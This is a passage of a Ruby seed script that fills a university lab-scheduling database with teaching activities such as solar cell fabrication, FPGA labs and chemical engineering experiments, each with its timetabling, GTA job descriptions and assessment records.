Eades\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a382.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a383 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"309\").first_or_create!(name: \"Second Year Design Exercise: Solar Cell\",\n name_abrv: \"SYDE - Solar\", archived: false, in_drive: false, user_id: 4)\n at383 = ActivityTimetable.where(activity_id: a383.id).first_or_create!(duration: 210, kit_prep_time: 2000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a383.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a383.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a solar cell.\n\n Description of project for UG students:\n The project concerns the design, fabrication and measurement of photovoltaic (PV) solar cells which convert sunlight to electrical energy. PV cells are an important sustainable technology which can make an important contribution to reducing our dependence on fossil fuels. The devices consist of semiconductor p-n junctions within which light is absorbed to create electron-hole pairs which are swept out to the contracts by means of the built-in junction field. The type of semiconductor material and the design of the cell have a strong influence on the efficiency of energy conversion. However there are also widely varying costs of production which need to be factored in. The project will focus on two semiconductor materials of current interest (i) high efficiency, high cost PV cells made using the epitaxial semiconductor GaAs and (ii) lower efficiency, but relatively low cost cells made from thin film oxides (perovskytes). An important element of the project will be to contrast the performance of these cells and to understand the trade off between efficiency and cost for practical application. \n\n In the project, the students will fabricate and test solar cells made from these two materials. The students will design a fabrication sequence to be performed in the diamond clean room for the production of PV cells. An important step in the process concerns the optimisation of the metallic contacts to the semiconductors. The metals used and the design of the pattern for the front surface are of vital importance as they have an impact on the cells series resistance, fill factor and short circuit current. The students will chose the appropriate metals, write down an appropriate processing scheme and design their own contact mask. Following validation, they will then proceed to fabricate the cells and to mount these ready for measurement. On completion the cells will be evaluated electrically using a solar simulator to extract typical solar cell parameters.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a383.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a383.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a383.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a384 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"310\").first_or_create!(name: \"Second Year Design Project\",\n name_abrv: \"SYDE\", archived: false, in_drive: false, user_id: 5)\n at384 = ActivityTimetable.where(activity_id: a384.id).first_or_create!(duration: 210, kit_prep_time: 540, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minute session, 3 times a week for 7 weeks\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a384.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a384.id).first_or_create!(criteria: \"\",\n job_desc:\"https://sites.google.com/a/sheffield.ac.uk/gta-opportunities/gtaoppssem2/eeedesignexercises\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a384.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a384.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a384.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a385 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6395\").first.id, code: \"311\").first_or_create!(name: \"SPE Device fab\",\n name_abrv: \"SPE - Fab\", archived: false, in_drive: false, user_id: 1)\n at385 = ActivityTimetable.where(activity_id: a385.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 30, notes: \"Timetabling cannot happen until Masters students have chosen their modules - will be very last minute. Currenlty looked into by Rick Smith.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a385.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"SPE Device Fab\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a385.id).first_or_create!(criteria: \"Experience with electrical and optical characterization of LEDs and HEMTs.\",\n job_desc:\"During this module students manufacture GaN LEDs from scratch. GTA assistance is required for many of these stages. Some will take place in the North Campus, others in the Diamond. Experience in GaN processing, electrical and optical testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room (some labs delivered in North Campus clean rooms)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a385.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a385.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a385.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a386 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE163\").first.id, code: \"312\").first_or_create!(name: \"System Design Analysis\",\n name_abrv: \"Pull apart\", archived: false, in_drive: false, user_id: 4)\n at386 = ActivityTimetable.where(activity_id: a386.id).first_or_create!(duration: 180, kit_prep_time: 30, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"The 2018-19 Semester 2 timetable is a disaster. I need to be able to interleave my once-a- fortnight lectures with the labs (as per Diamond ethos!). I.e all students need to attend a lab once per fortnight. Maybe use some (not all!)  Friday PM sessions?\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a386.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Pull Apart\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a386.id).first_or_create!(criteria: \"Enquiring mind necessary and sound mechanical engineering skills. A background in electronics would be helpful but not essential.\",\n job_desc:\"Assist students with reverse engineering of items of consumer electronics (light bulbs, printers, telephones, data projectors, etc) and marking of lab report.\", jobshop_desc: \"GTA in MEE, the Diamond: System Design Analysis\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a386.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a386.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a386.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a387 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1001\").first.id, code: \"400\").first_or_create!(name: \"Induction Lab\",\n name_abrv: \"COM-INDUCT\", archived: false, in_drive: false, user_id: 3)\n at387 = ActivityTimetable.where(activity_id: a387.id).first_or_create!(duration: 180, kit_prep_time: 240, min_week_num: nil, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a387.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a387.id).first_or_create!(criteria: \"EEE or COM students with some experience of soldering and basic electronics\",\n job_desc:\"Supervising students as they learn basic electronics and familiarise themselves with the lab space\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a387.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a387.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a387.id, programme_id: $prog_com.id).first_or_create!\n\n\n a388 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM3505\").first.id, code: \"401\").first_or_create!(name: \"Internet of Things\",\n name_abrv: \"IoT\", archived: false, in_drive: false, user_id: 5)\n at388 = ActivityTimetable.where(activity_id: a388.id).first_or_create!(duration: 120, kit_prep_time: 240, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"120 minute session, for 10 weeks\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a388.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a388.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a388.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a388.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a388.id, programme_id: $prog_com.id).first_or_create!\n\n\n a389 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"402\").first_or_create!(name: \"FPGA Lab\",\n name_abrv: \"COM-FPGA\", archived: false, in_drive: false, user_id: 3)\n at389 = ActivityTimetable.where(activity_id: a389.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a389.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a389.id).first_or_create!(criteria: \"Knowledge of FPGA programmings and digital logic\",\n job_desc:\"Training students in simple FPGA programming of logic gates and adders\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a389.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a389.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a389.id, programme_id: $prog_com.id).first_or_create!\n\n\n a390 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6501\").first.id, code: \"240\").first_or_create!(name: \"MSc Shaddowbots\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at390 = ActivityTimetable.where(activity_id: a390.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 100, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at390.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a390.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a390.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a390.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a390.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a391 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"100\").first_or_create!(name: \"Absorbtion\",\n name_abrv: \"DC2\", archived: false, in_drive: false, user_id: 2)\n at391 = ActivityTimetable.where(activity_id: a391.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a391.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a391.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a391.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a391.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a391.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a392 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR334\").first.id, code: \"101\").first_or_create!(name: \"Bio Plastics\",\n name_abrv: \"BIOPLAST\", archived: false, in_drive: false, user_id: 1)\n at392 = ActivityTimetable.where(activity_id: a392.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a392.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a392.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a392.id).first_or_create!(assess_weight: nil, notes: \"All assessment was handled by the AMRC\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a392.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a392.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a393 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6311\").first.id, code: \"102\").first_or_create!(name: \"Clean Energy\",\n name_abrv: \"CE\", archived: false, in_drive: false, user_id: 4)\n at393 = ActivityTimetable.where(activity_id: a393.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a393.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a393.id).first_or_create!(criteria: \"Interest/experience would suit people with engineering or physics backgrounds. Ideally, some general knowledge about electricity and perhaps renewable energy. This is considered small-scale equipment.\n\n\n\n\n\n\n This requires attention to detail and an ability to stick to deadlines and follow marking criteria. Should be capable of providing useful and constructive feedback. Marking through MOLE and can be done at a time to suit the GTA.\",\n job_desc:\"Supervising groups of students using the Heliocentris Clean Energy Trainer. This is considerd small-scale equipment. Training will be provided for the experiment. Ideally, two GTAs will be required, one of who will be required to mark all the submissions. Should also be prepared to answer enquiries through the discussion board. Please see row below for marking information.\n\n Marking of reports. Full training will be given. The first stage is to run the experiment, take measurements and process to give the results. This should give a good understanding of the experiment.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a393.id).first_or_create!(assess_weight: 20.0, notes: \"This involves a complete report - because it counts for 20% of the module: marking carried out by staff/GTA\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a393.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a393.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a394 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"103\").first_or_create!(name: \"Exp 1: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at394 = ActivityTimetable.where(activity_id: a394.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a394.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a394.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a394.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a394.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a394.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a395 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"104\").first_or_create!(name: \"Exp1: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at395 = ActivityTimetable.where(activity_id: a395.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a395.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a395.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a395.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a395.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a395.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a396 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"105\").first_or_create!(name: \"Exp 1: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at396 = ActivityTimetable.where(activity_id: a396.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a396.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a396.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a396.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a396.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a396.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a397 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE130\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 1)\n at397 = ActivityTimetable.where(activity_id: a397.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a397.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a397.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a397.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a397.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a397.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a398 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 2)\n at398 = ActivityTimetable.where(activity_id: a398.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a398.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a398.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a398.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a398.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a398.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a399 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"107\").first_or_create!(name: \"Distillation\",\n name_abrv: \"DC1\", archived: false, in_drive: false, user_id: 5)\n at399 = ActivityTimetable.where(activity_id: a399.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a399.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a399.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a399.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a399.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a399.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a400 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"108\").first_or_create!(name: \"Experiment E2: Investigation of heat engines operating in open and closed systems\",\n name_abrv: \"E2\", archived: false, in_drive: false, user_id: 1)\n at400 = ActivityTimetable.where(activity_id: a400.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a400.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jn5df35\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a400.id).first_or_create!(criteria: \"Interest/experience in cylinders, volume measurement and valves. The equipment is considered to be small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using simple heat engine. Training will be provided for the experiment. Typically up to two GTAs will be required per session.\", 